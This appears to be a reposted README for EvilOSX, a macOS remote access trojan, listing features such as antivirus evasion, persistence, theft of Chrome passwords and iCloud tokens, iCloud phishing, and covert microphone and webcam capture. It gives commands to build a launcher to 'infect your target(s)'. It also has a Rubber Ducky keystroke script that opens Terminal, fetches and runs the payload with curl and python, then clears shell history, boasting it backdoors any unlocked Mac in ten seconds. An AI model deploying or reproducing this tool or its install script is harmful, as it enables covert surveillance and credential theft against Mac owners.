EvilOSX: A GUI Remote Administration Tool for Mac OSX

EvilOSX Features:

• Emulate a terminal instance 
• Simple extendable module system 
• No bot dependencies (pure python) 
• Undetected by anti-virus (OpenSSL AES-256 encrypted payloads) 
• Persistent 
• GUI and CLI support 
• Retrieve Chrome passwords 
• Retrieve iCloud tokens and contacts 
• Retrieve/monitor the clipboard 
• Retrieve browser history (Chrome and Safari) 
• Phish for iCloud passwords via iTunes 
• iTunes (iOS) backup enumeration 
• Record the microphone 
• Take a desktop screenshot or picture using the webcam
•  Attempt to get root via local privilege escalation

EvilOSX Installation and Running
   Open your Terminal and enter these commands:
   Warning: Because payloads are created unique to the target system (automatically by the server), the server must be running when any bot connects for the first time.

   For Advanced users: There's also a CLI for those who want to use this over SSH:
python start.py --builder # Create a launcher to infect your target(s)
python start.py --cli --port 1337 # Start the CLI

Motivation
   This project was created to be used with author's Rubber Ducky, here's the simple script:
REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/

DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500

REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER

STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER

• It takes about 10 seconds to backdoor any unlocked Mac, which is...... nice.
• Terminal is spelt that way intentionally, on some systems spotlight won't find the terminal otherwise.
• To bypass the keyboard setup assistant make sure you change the VID&PID which can be found here. Aluminum Keyboard (ISO) is probably the one you are looking for.

Versioning
   EvilOSX will be maintained under the Semantic Versioning guidelines as much as possible. Server and bot releases will be numbered with the follow format:
..

   And constructed with the following guidelines:

• Breaking backward compatibility (with older bots) bumps the major.
• New additions without breaking backward compatibility bumps the minor.
• Bug fixes and misc changes bump the patch.

   For more information on SemVer, please visit Semantic Versioning 2.0.0.

EvilOSX's Issues: Feel free to submit any issues or feature requests here.
 
Contributing: For a simple guide on how to create modules, click here.
 
Thanks for:

• The awesome Empire project.
• Shoutout to @patrickwardle for his awesome talks, check out Objective-See.
• manwhoami for his projects: OSXChromeDecrypt, MMeTokenDecrypt, iCloudContacts (now deleted... let me know if you reappear).
• The slowloris module is pretty much copied from PySlowLoris.
• urwid and this code which saved me a lot of time with the CLI.
• Logo created by motusora.

License: GNU General Public License v3.

Download EvilOSX